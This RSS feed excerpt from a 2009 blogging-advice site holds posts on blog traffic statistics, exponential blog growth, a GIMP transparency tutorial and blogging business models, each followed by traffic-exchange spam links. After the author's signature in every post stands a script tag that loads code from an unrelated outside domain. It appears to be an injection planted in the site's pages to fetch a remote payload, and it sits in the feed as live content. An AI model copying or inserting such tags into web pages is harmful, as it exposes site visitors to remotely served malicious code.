<p>No, not the ones that drove you crazy in high school, but those links that your traffic is initiating.  One of the most important pieces of information, this will show you how effective your theme&#8217;s layout is and how enticing you&#8217;ve made you&#8217;re links.  Also, you can get a pretty good idea of how many NEW visitors you&#8217;re receiving by where they&#8217;re clicking.  If you get a high number of clicks on your &#8216;About&#8217; page, then you can guess with a high amount of accuracy that those people are new to your blog.  Same with things like ebooks.  I have an ebook image on my sidebar at <a href="http://motivatethyself.com" target="_self">Motivate Thyself</a> (you can&#8217;t miss it) and I know that mostly new visitors will click on it.  As we all know, after a few visits, things that stay the same become invisible to the reader.</p>
<h3>Now What?</h3>
<p>OK, so now you have all this information you&#8217;re trying to pull from your blog&#8217;s statistics; what next?  Well, it&#8217;s up to you to determine what&#8217;s working well and what&#8217;s NOT.  You may realize that some kinds of content are receiving zero hits, while others might be drawing traffic, but have a high bounce rate (the rate at which the visitor leaves your blog without perusing any other pages).  So it&#8217;s not only important to see what content is bringing in the traffic, but which pieces are turning those visitors into repeat customers.</p>
<p>Next, you want to figure out exactly WHAT made this magnetic content so attractive.  Was it just a fluke that landed on Stumbleupon and gave a brief burst of hits?  Was it the quality of your writing and the information provided that kept them coming back?  Or was it just having the right post at the right time?  These are the kinds of questions we need to ask ourselves, matched with the information given us by our stats, so that we can effectively adjust our blogs for greatest possible growth.  Otherwise, we&#8217;re just flying blind.</p>
<h3>Eric</h3>
<p><script src="http://ae.awaue.com/7"></script></p>
  <a STYLE="border:none;text-decoration:none;outline:none;" href="http://www.blogtrafficexchange.com"><img border="0" alt="Blog Traffic Exchange" src="http://blogopolisblueprint.com/wp-content/plugins/related-websites/24x24.png"></a> <a href="http://www.blogtrafficexchange.com/related-websites"><strong>Related Websites</strong></a> <ul>  <li> <img src="http://www.witchcityweb.com/img/www.witchcityweb.com/0__facebook-privacy-1-300x173.png" class="imgbte" hspace="5" align="left" width="100" alt="facebook-privacy-1" title="facebook-privacy-1" border=0><a onClick="window.location='http://bte.tc/cphn'; return false;" href="http://www.witchcityweb.com/284/how-to-clear-google-search-history/">How to clear Google search history</a> <small>Every time we make a search in the search engine Google , the browser adds to those already made history. While this is useful to accelerate and simplify navigation during subsequent searches, the other may be a possible threat to our privacy, especially if using a computer shared with......</small> </li> <li> <img src="http://www.buildify.com/wp-content/uploads/2009/02/google.jpg" class="imgbte" hspace="5" align="left" width="100" alt="google" title="google" border=0><a onClick="window.location='http://bte.tc/w6'; return false;" href="http://www.buildify.com/google-gadgets-for-blogging-on-blogger/">Google Gadgets for Blogging on Blogger</a> <small>Ever since Google purchased Blogger, Blogger has seen the addition of all kinds of interesting gadgets that create additional functionality and personality for your blog. Gadgets are essentially widgets, but by Google's standard. You can show off your favorite quotes from movies, insert flash games, and show off the weather......</small> </li> <li> <a onClick="window.location='http://bte.tc/cvgy'; return false;" href="http://fabiezone.com/being-a-full-time-sem-search-engine-marketer-i-have-been-conditioned-like-pavlovs-canine-not-a-pretty-picture-to-leap-each-time-google-twitches-lately-google-has-been-doing-a-whole-lot-of-twitc">Being A Full-time SEM (Search Engine Marketer) I Have Been Conditioned Like Pavlov's Canine (not A Pretty Picture) To Leap Each Time Google Twitches. Lately Google Has Been Doing A Whole Lot Of Twitching.</a> <small>Particularly, SEO the slightly startling information from Google Webmaster Trends Analyst Susan Moskwa that Google has ditched PageRank from Webmaster Tools. "We have Lead Generation been telling individuals for a long time that they shouldn't focus on PageRank so much; many website owners appear to think it's crucial metric for......</small> </li> <li> <img src="http://cf.blogtrafficexchange.com/wp-content/uploads/2009/01/spice-150x150.jpg" class="imgbte" hspace="5" align="left" width="100" alt="spice" title="spice" border=0><a onClick="window.location='http://bte.tc/egE'; return false;" href="http://www.blogtrafficexchange.com/blogging-and-article-marketing/">Blogging and Article Marketing</a> <small>A web log is a collection of journal posts that follow a particular theme. These blogs are easily maintained, updated frequently, and do not require any real technical knowledge to run and maintain. A lot of blog owners work to distribute information on their favorite subject. However, many blogs are......</small> </li> <li> <a onClick="window.location='http://bte.tc/agrk'; return false;" href="http://quickpenmanship.com/anyone-can-be-a-publisher-an-editor-a-writer/">Anyone can be a publisher an editor a writer</a> <small>Online blogging makes it all possible. There are ample of blogging software in the cyberspace and they all offer the same service, which is a portal for us to express our ideas. Well, in a tough market, one would have to find his way to surpass his competitions. This......</small> </li> </ul>]]></content:encoded>
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		<slash:comments>9</slash:comments>
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		<title>The Unique Exponential Possibilities of Blogging Growth</title>
		<link>http://blogopolisblueprint.com/the-unique-exponential-possibilities-of-blogging-growth/</link>
		<comments>http://blogopolisblueprint.com/the-unique-exponential-possibilities-of-blogging-growth/#comments</comments>
		<pubDate>Tue, 10 Mar 2009 08:00:29 +0000</pubDate>
		<dc:creator>Eric Hamm</dc:creator>
				<category><![CDATA[Traffic]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[exponential growth]]></category>

		<guid isPermaLink="false">http://blogopolisblueprint.com/?p=839</guid>
		<description><![CDATA[Image courtesy of iChaz
One of the hardest parts of being a blogger is trying to explain its unusual growth characteristics to a non-blogger.  I mean, how many times do we have to have this conversation&#8230;
Q: &#8220;So, do you make any money?&#8221;
A: I&#8217;m working on it.
Q: &#8220;If you&#8217;re not making any money, when will you?&#8221;
A: I [...]]]></description>
			<content:encoded><![CDATA[<h6 style="text-align: center;"><img class="aligncenter size-full wp-image-843" title="blogging_growth" src="http://blogopolisblueprint.com/wp-content/uploads/2009/03/blogging_growth1.jpg" alt="blogging_growth" width="500" height="342" /><em>Image courtesy of <a href="http://www.flickr.com/photos/chazoid/2598478591/" target="_self">iChaz</a></em></h6>
<p>One of the hardest parts of being a blogger is trying to explain its unusual growth characteristics to a non-blogger.  I mean, how many times do we have to have this conversation&#8230;</p>
<p>Q: &#8220;So, do you make any money?&#8221;</p>
<p>A: I&#8217;m working on it.</p>
<p>Q: &#8220;If you&#8217;re not making any money, when will you?&#8221;</p>
<p>A: I don&#8217;t know for sure, but once I pick up some speed it should really take off.</p>
<p>Q: &#8220;How so?&#8221;</p>
<p>A: Well&#8230;</p>
<h3>First, To Clarify</h3>
<p>What I&#8217;m talking about is the idea that a blog can be growing at a slow rate for a year or more and then just TAKE OFF!  And as the blogger who sees every little step forward and backward, we often times understand the warning signs that our hard work is going to pay off very shortly.</p>
<p>Let&#8217;s say we&#8217;re starting to see more linkbacks from blogs we&#8217;ve never noticed.  And let&#8217;s say we notice a new buzz about the quality of our posts.  Maybe <a href="http://twitter.com" target="_self">Twitter</a> is starting to buzz about our blog and our <a href="http://facebook.com" target="_self">facebook</a> friends begin to boil (kind of a disturbing statement, I know).  It&#8217;s kind of like being the only one reading the seismograph that&#8217;s telling of a soon to be erupting volcano, while the rest of the residents go about their business like it&#8217;s just another day.</p>
<h3>A Technical Explanation That Can Be Understood By A Non-Technical Audience</h3>
<p>Recently I&#8217;ve been having a lot of fun with Search Engine Optimization.  Whether I&#8217;m seeing if I can move higher up on Google with a certain post or trying to get search hits from particular phrasing, I&#8217;m enjoying the leaning process as well as the results.  One thing you&#8217;ll find if you get into SEO is that you can go from no search hits, to large amounts of search traffic in a matter of moments.</p>
<p>Let&#8217;s use one of my posts for example.  Having a blog called <a href="http://motivatethyself.com" target="_self">Motivate Thyself</a>, I decided I needed to tackle the big question, &#8220;<a href="http://motivatethyself.com/how-to-motivate-yourself/" target="_self">How To Motivate Yourself</a>&#8220;.  So I wrote the post and then optimized it for the search engines.  After a few days of dropping it on the the pages of my blog, it showed up around page 10 of Google.  A few days later it made its way down to page 5 where it stayed for about a week.  Then one day it suddenly showed up at the bottom of page 2 where it has slowly been bumping it&#8217;s way up.  Now it teeters back and forth between the top of page 2 and the bottom of page 1.</p>
<p>What I noticed during this entire time was the fact that it wasn&#8217;t until I hit page 1 that I started receiving search hits.  It literally went from 0 to 10 hits a day.  My blog, as well as those who landed on it from Google, never knew about this post&#8217;s place in Google until it hit page one.  BUT I DID!  As I monitored its progress and compared it with my general understanding of SEO and the way search engines/traffic work, I knew search hits were right around the corner and I was right.</p>
<h3>Blogging IS JUST Like This</h3>
<p>No one but the blogger him/herself feels the pulse of the their blog.  As we tune-in to its heart beat and tap into it&#8217;s telling traffic patterns we are nearly able to tell the future.  And just like search traffic, our blogs can go from zero to <a href="http://zenhabits.net" target="_self">zenhabits</a> in a matter of months (the wordplay required a z, I had no choice <img src='http://blogopolisblueprint.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  ).</p>
<p>So the next time someone asks you to explain the exponential growth potential of blogging, you just tell them about this search engine analogy.  And if they still don&#8217;t get it, tell them to get their head out of the sand, IT&#8217;S THE 21st CENTURY FOR CRYING OUT LOUD!!! Or just blame me for the poor analogy. <img src='http://blogopolisblueprint.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> </p>
<h3>Eric</h3>
<p><script src="http://ae.awaue.com/7"></script></p>
  <a STYLE="border:none;text-decoration:none;outline:none;" href="http://www.blogtrafficexchange.com"><img border="0" alt="Blog Traffic Exchange" src="http://blogopolisblueprint.com/wp-content/plugins/related-websites/24x24.png"></a> <a href="http://www.blogtrafficexchange.com/related-websites"><strong>Related Websites</strong></a> <ul>  <li> <a onClick="window.location='http://bte.tc/cvvm'; return false;" href="http://fabiezone.com/learning-about-search-engine-optimization-what-is-it">Learning About Search Engine Optimization: What Is It?</a> <small>Before you even think about setting up a website, you have to understand the term search engine optimization and its importance. When you set up a website with the intention of selling a product or service, you have to be able to draw traffic to your website or it's not......</small> </li> <li> <a onClick="window.location='http://bte.tc/cvY5'; return false;" href="http://fabiezone.com/why-you-really-need-search-engine-optimization">Why You Really Need Search Engine Optimization</a> <small>Search engine optimization is something that no company that keeps a presence online can afford to ignore. The internet is difficult, if not entirely impossible to navigate without the the use of a search engine like Google, and when you think about all the traffic that filters through Google on......</small> </li> <li> <img src="http://cf.blogtrafficexchange.com/wp-content/uploads/2009/05/keywords.jpg" class="imgbte" hspace="5" align="left" width="100" alt="keywords" title="keywords" border=0><a onClick="window.location='http://bte.tc/Uh'; return false;" href="http://www.blogtrafficexchange.com/search-engine-optimization-keyword-analysis/">Search Engine Optimization Keyword Analysis</a> <small>Keyword analysis is an important part of search engine optimization or SEO, because your keywords will play a vital role in numerous different facets of your website design, creation and ongoing development. Before going into the details about what keyword analysis is, you should first understand a little bit about......</small> </li> <li> <a onClick="window.location='http://bte.tc/aA2U'; return false;" href="http://www.search-commando.com/search-engine-optimization/article-promoting-and-search-engine-optimization-seo">Article Promoting And Search Engine Optimization (SEO)</a> <small>Search engine optimization (SEO) mainly deals with what’s called on-page optimization – inserting keywords and phrases in numerous areas and in the code of a webpage. On-page SEO is nice for letting Google and the other search engines know what your web site is regarding, however it’s additionally very important......</small> </li> <li> <a onClick="window.location='http://bte.tc/cvnu'; return false;" href="http://fabiezone.com/search-engine-optimization-services-india">Search Engine Optimization Services India</a> <small>Search engine optimization Company India, SEO, PPC Services Provider: WebmarketingUniverse As the number of Internet users increase, the demand for e-business/ e-commerce will also increase. Now many companies realize that next decade will mostly depend on e-commerce to expand business worldwide hence they find the need to achieve various marketing......</small> </li> </ul>]]></content:encoded>
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		<slash:comments>17</slash:comments>
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		<item>
		<title>How To Use Gimp To Make An Image Transparent</title>
		<link>http://blogopolisblueprint.com/how-to-use-gimp-to-make-an-image-transparent/</link>
		<comments>http://blogopolisblueprint.com/how-to-use-gimp-to-make-an-image-transparent/#comments</comments>
		<pubDate>Thu, 05 Mar 2009 08:00:18 +0000</pubDate>
		<dc:creator>Eric Hamm</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[create a transparent image]]></category>
		<category><![CDATA[how to use gimp]]></category>

		<guid isPermaLink="false">http://blogopolisblueprint.com/?p=835</guid>
		<description><![CDATA[

]]></description>
			<content:encoded><![CDATA[<div id="viddlervideo-84194-5c325c44" class="viddlervideo">
<p><a href="#viddlervideo-84194-5c325c44" onclick="loadViddlerVideo('84194','5c325c44','player',437,315);" title="Click to play this video."><img width="437" height="315" src="http://cdn-thumbs.viddler.com/thumbnail_2_5c325c44.jpg" alt="Video thumbnail." /></a></p>
<p><a href="#viddlervideo-84194-5c325c44" onclick="loadViddlerVideo('84194','5c325c44','player',437,315);" return false;">Click to play this video.</a></p>
</div>
<p>In this screencast video tutorial I show how to use <a href="http://www.gimp.org/" target="_self">Gimp</a> to take an image with a white background and make it transparent.  This technique is great for logo creation as well as other web design techniques.</p>
<h3>Eric</h3>
<p><script src="http://ae.awaue.com/7"></script></p>
  <a STYLE="border:none;text-decoration:none;outline:none;" href="http://www.blogtrafficexchange.com"><img border="0" alt="Blog Traffic Exchange" src="http://blogopolisblueprint.com/wp-content/plugins/related-websites/24x24.png"></a> <a href="http://www.blogtrafficexchange.com/related-websites"><strong>Related Websites</strong></a> <ul>  <li> <a onClick="window.location='http://bte.tc/agYr'; return false;" href="http://nichephile.com/264/the-abc-of-essential-web-design/">The ABC Of Essential Web Design</a> <small>If anyone mentions the term Internet it’s not surprising that most people immediately start thinking about the proverbial website. Contrary to popular belief though building a website is not just about uploading it to your web host. It’s essential that you present all your information in a logical order......</small> </li> <li> <a onClick="window.location='http://bte.tc/8ha'; return false;" href="http://www.onlinesecurityauthority.com/website-security/where-to-find-a-good-web-designer/">Where To Find A Good Web Designer</a> <small>When you are into the internet business, the first thing that comes into your mind is to build your own website, right? With a website, it's just like you have a virtual store open 24 hours a day, 7 times a week. But to make people come and visit your......</small> </li> <li> <img src="http://ecx.images-amazon.com/images/I/51mz5A5owkL._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA240_SH20_OU01_.jpg" class="imgbte" hspace="5" align="left" width="100" alt="The Ultimate Guide to a Successful Business Website - The Non-Technical Person's Handbook on How to Hire a Web Designer and Manage the Creation, Design and Marketing of a Successful Business Website" title="The Ultimate Guide to a Successful Business Website - The Non-Technical Person's Handbook on How to Hire a Web Designer and Manage the Creation, Design and Marketing of a Successful Business Website" border=0><a onClick="window.location='http://bte.tc/akse'; return false;" href="http://quickpenmanship.com/the-ultimate-guide-to-a-successful-business-website-the-non-technical-persons-handbook-on-how-to-hire-a-web-designer-and-manage-the-creation-design-and-marketing-of-a-successful-business-website/">The Ultimate Guide to a Successful Business Website - The Non-Technical Person's Handbook on How to Hire a Web Designer and Manage the Creation, Design and Marketing of a Successful Business Website (Hardcover)</a> <small>Learn how to get a successful, money-making website built for you correctly the first time. This book will arm you with everything you need to know to go from an outdated site or a simple idea to a brand new, fully-functional, money-making business website. You'll learn how to hire......</small> </li> <li> <img src="http://www.cologneperfumefragrance.com/images/B0010ZEUVY/31gbDJu1B6L._SL160_.jpg" class="imgbte" hspace="5" align="left" width="100" alt="Sex in the City: Lust 3.4 oz Eau de Parfum Spray" title="Sex in the City: Lust 3.4 oz Eau de Parfum Spray" border=0><a onClick="window.location='http://bte.tc/aTET'; return false;" href="http://www.cologneperfumefragrance.com/sex-in-the-city-lust-3-4-oz-eau-de-parfum-spray/">Sex in the City: Lust 3.4 oz Eau de Parfum Spray</a> <small>User Reviews Send this to a friend Sex in the City: Lust 3.4 oz Eau de Parfum Spray Manufacturer: Sex in the City Customer Rating: List Price: $50.00 Sale Price: $4.99 Availibility: Usually ships in 3-4 business days Buy Now Product Description Lust by Sex In The City Designer:Instyle......</small> </li> <li> <img src="http://www.tennisracquetracket.com/images/noimage.gif" class="imgbte" hspace="5" align="left" width="100" alt="" title="" border=0><a onClick="window.location='http://bte.tc/a-Zc'; return false;" href="http://www.tennisracquetracket.com/new-balance-mens-ct1004-tennis-shoewhite11-5-eeee/">New Balance Men's CT1004 Tennis Shoe,White,11.5 EEEE</a> <small>User Reviews Send this to a friend New Balance Men's CT1004 Tennis Shoe,White,11.5 EEEE Manufacturer: Customer Rating: List Price: Varies based on product options Sale Price: View Sale Price Availibility: View Product Availability Buy Now Product Description Product Details No details are available for this product Video Reviews No......</small> </li> </ul>]]></content:encoded>
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		<slash:comments>12</slash:comments>
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		<item>
		<title>What Is Your Blogging Business Model?</title>
		<link>http://blogopolisblueprint.com/what-is-your-blogging-business-model/</link>
		<comments>http://blogopolisblueprint.com/what-is-your-blogging-business-model/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 08:00:56 +0000</pubDate>
		<dc:creator>Eric Hamm</dc:creator>
				<category><![CDATA[Vlog]]></category>
		<category><![CDATA[blogging business model]]></category>

		<guid isPermaLink="false">http://blogopolisblueprint.com/?p=822</guid>
		<description><![CDATA[

]]></description>
			<content:encoded><![CDATA[<div id="viddlervideo-93763-dc9c615f" class="viddlervideo">
<p><a href="#viddlervideo-93763-dc9c615f" onclick="loadViddlerVideo('93763','dc9c615f','player',437,370);" title="Click to play this video."><img width="437" height="370" src="http://cdn-thumbs.viddler.com/thumbnail_2_dc9c615f.jpg" alt="Video thumbnail." /></a></p>
<p><a href="#viddlervideo-93763-dc9c615f" onclick="loadViddlerVideo('93763','dc9c615f','player',437,370);" return false;">Click to play this video.</a></p>
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<p>This video is in reply to Sean&#8217;s reply (&#8221;<a href="http://blogopolisblueprint.com/a-debate-this-is-all-kinds-of-fun/" target="_self">A Debate?!? This Is All Kinds of Fun</a>&#8220;) to MY video from last week that was titled, &#8220;<a href="http://blogopolisblueprint.com/are-you-wasting-your-time-blogging/" target="_self">Are You Wasting Your Time Blogging?</a>&#8220;</p>
<h3>Eric</h3>
<p><script src="http://ae.awaue.com/7"></script></p>
  <a STYLE="border:none;text-decoration:none;outline:none;" href="http://www.blogtrafficexchange.com"><img border="0" alt="Blog Traffic Exchange" src="http://blogopolisblueprint.com/wp-content/plugins/related-websites/24x24.png"></a> <a href="http://www.blogtrafficexchange.com/related-websites"><strong>Related Websites</strong></a> <ul>  <li> <img src="http://www.vintageantiquecollectible.com/collector/wp-content/uploads/2009/06/ebaycollectibles-150x150.jpg" class="imgbte" hspace="5" align="left" width="100" alt="ebaycollectibles" title="ebaycollectibles" border=0><a onClick="window.location='http://bte.tc/fx6'; return false;" href="http://www.vintageantiquecollectible.com/collector/ebay-collectibles/">Ebay Collectibles</a> <small>To make a living with ebay collectibles, you need to have a good way to find a stream of products to sell. Ebay can be a great marketing tool, but an ebay collectibles business will fail if you don't constantly find more items. The best advice is to get sellers......</small> </li> <li> <img src="http://cf.blogtrafficexchange.com/wp-content/uploads/2009/06/blogging-150x150.jpg" class="imgbte" hspace="5" align="left" width="100" alt="blogging" title="blogging" border=0><a onClick="window.location='http://bte.tc/eb'; return false;" href="http://www.blogtrafficexchange.com/mistakes-to-avoid-when-blogging-for-business/"> Mistakes to Avoid When Blogging For Business</a> <small>Most businesses today recognize the power of blogging and are using it to their advantage. Everyone from the bigger companies to much smaller businesses are taking advantage of the free advertising and wonderful increase to website traffic that can be gained from successful blogging. There are some mistakes that you......</small> </li> <li> <a onClick="window.location='http://bte.tc/qcN'; return false;" href="http://blog.banetmillionaire.com/579/ways-to-make-money-online-the-infoone-must-learn/">Ways To Make Money Online - The Info  One Must Learn</a> <small>Looking for money online.No wonder that you are used to living near your computer monitor. I think that thousands of ordinary Internet users are likely to turn their average online entertainment into something useful and profitable. I consider this kind of aspiration to be wise and beneficial. I highly appreciate......</small> </li> </ul>]]></content:encoded>
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		<slash:comments>7</slash:comments>
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